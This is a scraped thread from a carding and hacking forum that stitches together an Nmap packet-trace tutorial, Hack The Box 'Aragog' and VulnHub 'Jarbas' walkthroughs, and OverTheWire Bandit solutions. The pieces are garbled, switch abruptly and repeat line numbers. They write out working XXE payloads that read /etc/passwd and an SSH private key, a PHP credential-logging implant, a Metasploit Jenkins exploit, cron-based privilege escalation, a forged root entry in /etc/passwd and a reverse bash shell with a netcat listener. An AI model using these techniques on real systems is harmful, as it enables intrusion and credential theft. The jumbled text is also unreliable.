![]() |
|
[Guide] How to Understanding Nmap Packet Trace - Printable Version +- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc) +-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone) +--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home) +--- Thread: [Guide] How to Understanding Nmap Packet Trace (/Thread-Guide-How-to-Understanding-Nmap-Packet-Trace) |
[Guide] How to Understanding Nmap Packet Trace - NINZA - 05-14-2020 Hello everyone. In this article, we’ll see how to capture network packet using nmap. And we’ll use Wireshark for comparing its result with nmap. In this article, we mainly focus on what types of network traffic is captured by nmap while we use various nmap ping scan. Ping scan in nmap is done to check if the target host is alive or not. As we know that ping by default sends the ICMP echo request and gets an ICMP echo reply if the system is alive. Ping scan by default send an ARP packet and gets a response to check if the host is up. NOTE: Nmap scans change their behavior according to the network they are scanning.
ICMP timestamp request TCP SYN to port 443 TCP ACK to port 80 Technique Involves in packet-tracing via nmap The nmap module is an interface with nmap’s internal functions and data structures. The API offers target host information such as port states and version detection results. It also provides an interface to the Nsock library for effective network I/O. Nsock is a parallel sockets library used by NSE, service detection (service_scan.cc) and DNS (nmap_dns.cc). It acts as an abstraction layer above socket operations and is optimized for handling multiple sockets. “mspool” is defined at “nsock_internal.h” and contains among other things a struct event_lists which is a structure that keeps information on all pending events. Event creation Events are represented with the msevent struct (nsock_internal.h) which contains (among other things)
nsock_connect.c
[To see content please register here] Let’s Start!! Nmap Sweep Ping Analysis Attribute -sn/ -sP are used for sweep ping and they try to identify the live host in the network. Using –packet-trace along nmap scan we can observe the network packet. nmap -sn 192.168.1.103 --packet-trace 1 nmap -sn 192.168.1.103 --packet-trace Here you can observe first two packets SENT/RECD (received) showing ARP request packet from 192.168.1.105 to 192.168.1.103 and then used NSOCK libraries to state actual request and response packets travel between the source and destination router.
![]() You can observe the same traffic we have captured from Wireshark
![]() Similar you can also choose –reason option with nmap command to enumerate response from host network. nmap -sn 192.168.1.103 --reason 1 nmap -sn 192.168.1.103 --reason As you can observe it has clearly shown Host is up when received arp-response. ![]() As we have seen, by default Nmap sent ARP packet to identify host status therefore now we will trace nmap packet when –disable-arp-ping is activated. nmap -sn 192.168.1.103 --packet-trace --disable-arp-ping 1 nmap -sn 192.168.1.103 --packet-trace --disable-arp-ping Here you can notice the following SENT packets from source 192.168.1.105 to destination 192.168.1.103.
![]() Demonstrating working of Ping Sweep using Wireshark From given below image you can observe the following packet of request and reply between both network IP.
![]() nmap -sn 192.168.1.103 --disable-arp-ping --reason 1 nmap -sn 192.168.1.103 --disable-arp-ping --reason Similar you can also choose –reason option with nmap command to enumerate response from host network. nmap -sn 192.168.1.103 --disable-arp-ping --reason 1 nmap -sn 192.168.1.103 --disable-arp-ping --reason As you can observe it has clearly shown Host is up when received ICMP echo-response. ![]() Nmap TCP-SYN Ping Analysis Attribute -PS sends TCP SYN packet on port 80 by default; we can change it by specifying the ports with it, like -P22. nmap -PS -p22 192.168.1.103 --packet-trace 1 nmap -PS -p22 192.168.1.103 --packet-trace Here you can observe this scan is the addition of nmap ping scan and nmap stealth scan because, in the beginning, it sends arp packet then uses nsock libraries and at the end again implicates TCP half communication. So you can observe the following information we fetched from nmap:
![]() Similarly, we saw the same pattern of network traffic in Wireshark. ![]() Similar you can also choose –reason option with nmap command to enumerate response from host network. nmap -PS -p22 192.168.1.103 --reason 1 nmap -PS -p22 192.168.1.103 --reason Here you can observe port 22 is open and when received SYN/ACK packet from the host. ![]() Now let figure out network traffic when –disable-arp-ping activated. nmap -PS -p22 192.168.1.103 --packet-trace --disable-arp-ping 1 nmap -PS -p22 192.168.1.103 --packet-trace --disable-arp-ping So you can observe the following information we fetched from nmap:
![]() Similarly, we saw the same pattern of network traffic in Wireshark also. ![]() Nmap ICMP Ping Analysis Attribute –PE sends ICMP echo request packet [ICMP type 8] and received ICMP echo reply packet nmap -sP -PE 192.168.1.103 --packet-trace --disable-arp-ping 1 nmap -sP -PE 192.168.1.103 --packet-trace --disable-arp-ping Here you can notice ICMP Echo-request packets SENT from source 192.168.1.105 to destination 192.168.1.103 Then RCVD packet ICMP Echo-reply from destination 192.168.1.103 and then used NSOCK libraries to state actual request and response packets travel between source to the destination router. ![]() Similarly, we saw the same pattern of network traffic in Wireshark also. ![]() Nmap Stealth Scan Analysis Let’s capture the network packet for default nmap scan also called stealth scan which follows TCP half communication nmap -p22 192.168.1.103 1 nmap -p22 192.168.1.103 ![]() Here you can observe TCP-half communication:
![]() Now let’s verify it with parameter –packet-trace and compare the result. nmap -p22 192.168.1.103 --packet-trace 1 nmap -p22 192.168.1.103 --packet-trace So you can observe the following information we fetched from nmap which is similar to TCP-SYN Ping.
![]() Similarly, you can also choose the “–reason” option with nmap command to enumerate response from the host network. nmap -p22 192.168.1.103 --reason 1 nmap -p22 192.168.1.103 --reason Here you can observe port 22 is open and when received SYN/ACK packet from the host. ![]() Now let’s figure out the behavior of network traffic when –disable-arp-ping activated. nmap -p22 192.168.1.103 --packet-trace --disable-arp-ping 1 nmap -p22 192.168.1.103 --packet-trace --disable-arp-ping Here you can notice the following SENT packets from source 192.168.1.105 to destination 192.168.1.103.
![]() On the other hand, we saw the same pattern of network traffic in Wireshark too. ![]() Nmap TCP Scan Analysis We know from our basic network communication knowledge that a TCP scan performs a three-way-handshake. A nmap TCP scan is done here: nmap -sT -p22 192.168.1.103 --packet-trace 1 nmap -sT -p22 192.168.1.103 --packet-trace So you can observe the following information we fetched from nmap which is similar to TCP-SYN Ping. SENT/RECD ARP request and reply respectively. Nsock libraries details Connecting TCP Localhost from destination host 192.168.1.103:22 is in progress. Connected TCP Localhost from destination host 192.168.1.103:22 successfully. ![]() Similarly, we saw the same pattern of network traffic in Wireshark too. ![]() Similarly, you can also choose the “–reason” option with nmap command to enumerate response from the host network. nmap -sT -p22 192.168.1.103 --reason 1 nmap -sT -p22 192.168.1.103 --reason Here you can observe port 22 is open and when received SYN/ACK packet from the host. ![]() Hello Friends!! Today we are going to solve another CTF Challenge “Aragog”. This VM is also developed by Hack the Box, Aragog is a Retired Lab and there are multiple ways to breach into this VM. Level: Medium Task: Find the user.txt and root.txt in the vulnerable Lab. Table of Content Scanning
As these labs are only available online, therefore, they have a static IP. Aragog Lab has IP: 10.10.10.78. Now, as always let’s begin our hacking with the port enumeration. nmap -A 10.10.10.78 1 nmap -A 10.10.10.78 Looking around its result we found ports 21, 22 and 80 are open. Moreover, we notice FTP anonymous login is allowed. ![]() Enumeration So we try to connect with FTP through anonymous login. Here I found the test.txt file in the current directory. Then with the help of get command, we downloaded the test.txt file in our local machine. ftp 10.10.10.78 ls get test.txt cat test.txt 1 2 3 4 ftp 10.10.10.78 ls get test.txt cat test.txt inside test.txt file we observe something related to a subnet_mask in XML format, at this point, I was confused where I can implement this hint. ![]() Then we open target IP over web browser but didn’t found any remarkable thing here. ![]() When we found nothing at port 80, then though to use dirbuster for web directory brute-force attack. ![]() Here I found a /hosts.php file from its result. ![]() When I have explored /hosts.php in the web browser I found a message “There are 4294967294 possible hosts for” as shown below image. So I search in Google for 4294967294 hosts which were related to 255.255.255.254 as found in the above test.txt file. It means we can post the test.txt file here with help of burp suite. ![]() Exploit XXE (XML External Entity) So let’s capture the request and sent the intercepted data into the repeater. ![]() As we have predicted the test.txt is in XML format so we have tried to validate XXE injection. <details> <subnet_mask>&xxe;</subnet_mask> <test></test> </details> 1 2 3 4 <details> <subnet_mask>&xxe;</subnet_mask> <test></test> </details> Luckily we found this is vulnerable to XXE injection. ![]() Hence now I can simply exploit it for fetching /etc/passwd file with help of following XXE script and then check its response. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:////etc/issue" >]> <details> <subnet_mask>&xxe;</subnet_mask> <test></test> </details> 1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:////etc/issue" >]> <details> <subnet_mask>&xxe;</subnet_mask> <test></test> </details> Great!! We got the /passwd file successfully and enumerated two local usernames. ![]() With the help of /passwd file information, we try to get id_rsa through XXE script. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]> <details> <subnet_mask>&xxe;</subnet_mask> <test></test> </details> 1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]> <details> <subnet_mask>&xxe;</subnet_mask> <test></test> </details> Yuppiee! We got the ssh private key successfully, that I copied in the text file and named as key. ![]() Then assign permission 600 to saved key (id_rsa) and then try to connect with SSH as we knew the port 22 was open in the victim’s network. cd Desktop chmod 600 key ssh -i key [email protected] 1 2 3 cd Desktop chmod 600 key ssh -i key [email protected] And as you can observe that we get login successfully and accessed the TTY shell of victim’s machine, now let’s find the user.txt file to finish the 1st task. cd /home ls cd florian ls cat user.txt 1 2 3 4 5 cd /home ls cd florian ls cat user.txt 1st task is completed; let’s find out root.txt to finish the 2nd task. ![]() Privilege Escalation Inside /var/www/html we saw /dev_wiki and it was good to see that this folder holds WordPress setup and configuration files. ![]() So I simply add host IP: 10.10.10.78 and hostname: aragog is our local host file which is present inside /etc. ![]() So we explore aragog/dev_wiki in our web browser and got the WordPress home page. ![]() As you can observe inside /blog we found a message to Florian from Cliff where he had to express the mess of WordPress restoring in very few minutes. ![]() So with help of Google, I found a script [To see content please register here] and download it in victim’s VM inside /tmp and also gave execution permission.pspy is a command line tool designed to snoop on processes without the need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. cd /tmp wget [To see content please register here] chmod +x pspy32s1 2 3 cd /tmp wget [To see content please register here] chmod +x pspy32s![]() After the particular time, we realize that there is a cron job that is frequently deleting the dev_wiki folder & replacing it with the backup folder & a script wp-login.py is ran shortly after that process occurs. ![]() Now let’s manipulate the content of the wp-login.php file and place a new php code inside it to enumerate username and password. echo "" > wp-login.php nano wp-login.php 1 2 echo "" > wp-login.php nano wp-login.php <?php $req_dump = print_r($_REQUEST, TRUE); $fp = fopen('/tmp/request.log', 'a'); fwrite($fp, $req_dump); fclose($fp); ?> 1 2 3 4 5 6 <?php $req_dump = print_r($_REQUEST, TRUE); $fp = fopen('/tmp/request.log', 'a'); fwrite($fp, $req_dump); fclose($fp); ?> cat wp-login.php 1 cat wp-login.php ![]() So this file will dump the credential after a few minutes inside /tmp. cd /tmp cat creds.txt 1 2 cd /tmp cat creds.txt Administrator: !KRgYs(JFO!&MTr)lf Hmm!!! We got the admin credential. ![]() Now let’s grab the root.txt file quickly and finish this task. su root cd /root cat root.txt 1 2 3 su root cd /root cat root.txt We finished both tasks successfully!! ![]() Hello readers. We’d recently tried our hands on the vulnerable VM called Jarbas on vulnhub. It is developed to look like a 90s Portuguese search engine. It is made by Tiago Tavares. You can download the lab from [To see content please register here] . The objective of this challenge is to get the root shell.Difficulty Level: Easy Steps involved: Method 1:
Method 1: After running a netdiscover scan we figured out that the IP that DHCP allotted to the VM was 192.168.1.122 in my case. So, we used a nmap aggressive scan to discover opened ports on the VM. nmap -A 192.168.1.122 1 nmap -A 192.168.1.122 ![]() There was a webpage associated with the VM so we opened it in the browser. ![]() When nothing seemed to impress us, we tried to enumerate the directories using directory buster. dirb [To see content please register here] -X .html1 dirb [To see content please register here] -X .html![]() Since index.html is the default page and there was another HTML page available, we tried to open it in the browser. ![]() We found some password hashes in the access.html that we tried to crack it online on hashkiller. ![]() WOW! We have three passwords in hand now. Now, remember we had port 22 open in our nmap scan report, so we tried to login into ssh using the usernames and passwords we just cracked but it didn’t seem to work. So, we looked at another interesting port of 8080 and opened it in the browser. ![]() We found a web application on Jenkins. It is an open source automation server written in Java. Jenkins helps to automate the non-human part of the software development process, with continuous integration and facilitating technical aspects of continuous delivery. We tried to login with all three of the usernames and passwords but the third combination logged us into Jenkins which was: eder: vipsu 1 eder: vipsu ![]() Now, we found that Jenkins had a script console vulnerability and its module was in Metasploit. use exploit/multi/http/jenkins_script_console msf exploit(jenkins_script_console) > set target 1 msf exploit(jenkins_script_console) > set rhost 192.168.1.122 msf exploit(jenkins_script_console) > set rport 8080 msf exploit(jenkins_script_console) > set TARGETURI / msf exploit(jenkins_script_console) > set USERNAME eder msf exploit(jenkins_script_console) > set PASSWORD vipsu msf exploit(jenkins_script_console) > exploit 1 2 3 4 5 6 7 8 use exploit/multi/http/jenkins_script_console msf exploit(jenkins_script_console) > set target 1 msf exploit(jenkins_script_console) > set rhost 192.168.1.122 msf exploit(jenkins_script_console) > set rport 8080 msf exploit(jenkins_script_console) > set TARGETURI / msf exploit(jenkins_script_console) > set USERNAME eder msf exploit(jenkins_script_console) > set PASSWORD vipsu msf exploit(jenkins_script_console) > exploit ![]() We got a meterpreter session! Let’s try and get a teletype here using python’s one-liner shell: shell python -c 'import pty;pty.spawn("/bin/bash");' 1 2 shell python -c 'import pty;pty.spawn("/bin/bash");' Now, we found a shell script in the crontab which was executing automatically after every 5 minutes called CleaningScript.sh and whose job was to remove access log from the system. cat /etc/crontab cd /etc/script ls cat CleaningScript.sh 1 2 3 4 cat /etc/crontab cd /etc/script ls cat CleaningScript.sh But even better, it was running with root permissions! ![]() Let’s make a new gedit file called CleaningScript.sh and use the root privilege of CleaningScript.sh file to set a sticky bit on “find.” #!/bin/bash chmod u+s /usr/bin/find 1 2 #!/bin/bash chmod u+s /usr/bin/find ![]() Now, all that was left to do was to upload this new shell script onto the server and replace it with the original file. So, we background the shell (CTRL+Z) and used meterpreter upload command. upload /root/Desktop/CleaningScript.sh . shell python -c 'import pty;pty.spawn("/bin/bash");' date 1 2 3 4 upload /root/Desktop/CleaningScript.sh . shell python -c 'import pty;pty.spawn("/bin/bash");' date We observed the time and waited for exactly 5 minutes for the script to run automatically. ![]() After 5 minutes: ls -la /usr/bin/find 1 ls -la /usr/bin/find Permissions modified: -rwsr-xr-x The sticky bit got set! Now we just need to use the find inline command execution: find /home -exec whoami \; 1 find /home -exec whoami \; As you can see all the users got enumerated as root. find /home -exec ls -la /root \; 1 find /home -exec ls -la /root \; Hence, we can execute any command as root now!! ![]() A file called flag.txt was visible in the root directory. find /home -exec cat flag.txt \; 1 find /home -exec cat flag.txt \; ![]() Method 2: For this method, we achieve the meterpreter session as above and then get a shell. We used echo command this time to set the sticky bit on /usr/bin/cp echo "chmod u+s /usr/bin/cp" > CleaningScript.sh 1 echo "chmod u+s /usr/bin/cp" > CleaningScript.sh ![]() We read the /etc/passwd file using cat utility after that. ![]() Our aim was to add a user in /etc/passwd file as root. So, we use OpenSSL utility to create a password hash with the command: openssl passwd -l -salt user3 pass123 1 openssl passwd -l -salt user3 pass123 Copy the password hash in someplace safe now. ![]() Copy the /etc/passwd file in a leafpad file and let’s add our custom user in there. raj:$1$user3$<hash>:0:0:root:/root:/bin/bash 1 raj:$1$user3$<hash>:0:0:root:/root:/bin/bash ![]() Save this file somewhere on the desktop and download this file on server’s /tmp (universal writeable) directory. Then use cp (since we set sticky bit) to copy and replace this file with the original file with the command: cp passwd /etc/passwd 1 cp passwd /etc/passwd Let’s try and login using su binary: su raj [password]: pass123 1 2 su raj [password]: pass123 Voila! We got a root shell! Let’s read the flag now. cd /root ls cat flag.txt 1 2 3 cd /root ls cat flag.txt ![]() Method 3: Achieve shell as above and in another terminal window, try this msfvenom command: msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.133 lport=4444 R 1 msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.133 lport=4444 R ![]() Since we know CleaningScript.sh is run as root in every 5 minutes, so we copy this one-liner in CleaningScript.sh and activate a netcat shell side by side and wait for 5 minutes. cd /etc/script ls echo "0<&126 >&126 2>&126" > CleaningScript.sh 1 2 3 cd /etc/script ls echo "0<&126 >&126 2>&126" > CleaningScript.sh ![]() In another window, after waiting for 5 minutes, we will get a root shell! nc -lvp 4444 id python -c 'import pty;pty.spawn("/bin/bash");' cat flag.txt 1 2 3 4 nc -lvp 4444 id python -c 'import pty;pty.spawn("/bin/bash");' cat flag.txt ![]() So, that’s how we captured the flag in this VM. Happy Hacking. Today, we will continue to play the war-game called Bandit. [To see content please register here] Organization hosts this war-game. To play this war-game, go to the Bandit website by clicking[To see content please register here] .Get the solutions of other levels from below. [To see content please register here] [To see content please register here] Objective Find the password file. It will give us access to the next level. Table of Content:
In the previous article, we got the password for level 14 and have successfully connected as user bandit14. We are informed that the password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost. First, we retrieve the password for the current level. We used the cat command to print the password as shown in the given image. To connect to port 30000, we are using telnet. After connecting we enter the current password it is checked and upon matching the password for the next level is printed on the screen. We will use this password to get an SSH connection as bandit15 cat /etc/bandit_pass/bandit14 telnet localhost 30000 ssh bandit15@localhost 1 2 3 cat /etc/bandit_pass/bandit14 telnet localhost 30000 ssh bandit15@localhost ![]() Level 15-16 On this level, we are informed that the password for the next level is retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption. We use the openssl command with parameters like s_client that implements that we are the connecting as the client using the hostname localhost at port 30001. We use -ign_eof to inhibit shutting the connection when the end of file is reached in the input. openssl s_client -connect localhost:30001 -ign_eof 1 openssl s_client -connect localhost:30001 -ign_eof ![]() After establishing the connection, we provide it with the password for the bandit15. It is verified and after verification, the password for the next level is provided. We will use this password to get an SSH connection as bandit16. ssh bandit16@localhost 1 ssh bandit16@localhost ![]() Level 16-17 Initially, we are informed that the credentials for the next level can be retrieved by connecting to a port within the range of 31000 to 32000 and submitting the password of bandit16. We use Nmap to scan the ports to get the exact port from the range. As we can see in the output of the Nmap scan that on port 31790 there is a message that hints that we need to enter the password on that port. nmap -A localhost -p 31000-32000 1 nmap -A localhost -p 31000-32000 ![]() Now we will connect to this port using openssl as localhost. openssl s_client -connect localhost:31790 1 openssl s_client -connect localhost:31790 After connecting to the port, we will have to enter the password of bandit16. This password goes under verification. Upon a successful match, we are provided with an RSA key. ![]() Now to use this RSA key, we need to create a private key. But we can’t do this inside the home directory as we lack necessary permissions. So, we create a directory in /tmp directory using mkdir command. On traversing to that newly created directory, we will create a private key. We can name it anything we want. Here we are using the nano editor to create the private key. mkdir /tmp/pavan_ssh cd /tmp/pavan_ssh nano pavan.private 1 2 3 mkdir /tmp/pavan_ssh cd /tmp/pavan_ssh nano pavan.private ![]() After running the nano command, we will be prompted to press the Enter key to continue. On doing that the private key will be opened to edit using nano. Now we will paste the RSA key we found earlier. Now to exit we will press Ctrl and x keys simultaneously. There would be a prompt asking us to save the updates. We will press ‘y’ followed by this, nano will ask us if we want to rename the file. After this, we would have successfully created a private key using the RSA we were provided before. ![]() SSH won’t allow any private key with such open permissions. So, we will have to change the permissions. We will use the chmod command to apply the permissions equivalent to 600. This means that only the owner can read and write the file. We will use this private key to get an SSH connection as bandit17. chmod 600 pavan.private ssh bandit17@localhost -i pavan.private 1 2 chmod 600 pavan.private ssh bandit17@localhost -i pavan.private ![]() Level 17-18 Upon logging in as bandit17, we run the ls command to look for any files. We see that we have two files, password.new and password.old. Now we have informed that password for the next level the only line that has been changed between both files. We will use the diff command to find that password. And the diff command gives us the required password. We will use this password to get an SSH connection as bandit18. ls diff passwords.old passwords.new ssh bandit18@localhost 1 2 3 ls diff passwords.old passwords.new ssh bandit18@localhost ![]() Now on providing with the correct password our connection was closed. This is because the authors of this level have modified the .bashrc file to log us out of ssh. We will use the -t parameter to disable the pseudo -tty allocation. As this is making our session vulnerable to get closed. Let’s connect ssh again as shown in the given image. ssh -T bandit18@localhost 1 ssh -T bandit18@localhost ![]() This time we got a shell, it may be not visible but it is there. We can run commands here. First, let’s try the ls command. This gives us the readme file. Upon reading that file, we get what seems like credentials for the next level. We will use this password to get an SSH connection as bandit19. ls cat readme ssh bandit19@localhost 1 2 3 ls cat readme ssh bandit19@localhost ![]() Level 19-20 After successfully getting the ssh to user bandit19, we start with ls command to see what we got this time. We have a file that seems like a script. We tried to run to see the working of the script. We are shown that the script runs a command as another user. Now we were informed that the password is stored at /etc/bandit_pass/. So, we run the script with the cat command to read the password for the next level. We will use this password to get an SSH connection as bandit20. ls ./bandit20-do ./bandit20-do cat /etc/bandit_pass/bandit20 ssh bandit20@localhost 1 2 3 4 ls ./bandit20-do ./bandit20-do cat /etc/bandit_pass/bandit20 ssh bandit20@localhost ![]() Level 20-21 We are informed that there is a setuid binary in this level whose job is to make a connection to localhost on a port and read the password used to login as bandit20 and then send the password for the next level. First, let’s see the files we have using the command ls. We have a script suconnect. On running this command without any parameters, we see that it requires a port to connect to. Now here is the part where it gets tricky. The image given below is one instance of the shell. We will execute to the point where we run suconnect without parameters and create other instance of the same shell. Run a netcat listener over another instance on the same port we are planning to suconnect. But we need to start listener before running the suconnect. On running the suconnect. Netcat will grab a session. Now we enter the password that we used to login as user bandit20. As we can see that the password, we entered is read by the suconnect and when the password is verified. Password for the next level is sent to the listener. ls ./suconnect ./suconnect 4444 1 2 3 ls ./suconnect ./suconnect 4444 Image shown below is the execution of the first instance. ![]() nc -lvp 4444 1 nc -lvp 4444 Image shown below is the execution of the second instance. ![]() Now that we have the password for the next level, we move back to our first instance and used the password to login as user bandit21 using SSH. ssh bandit21@localhost 1 ssh bandit21@localhost
|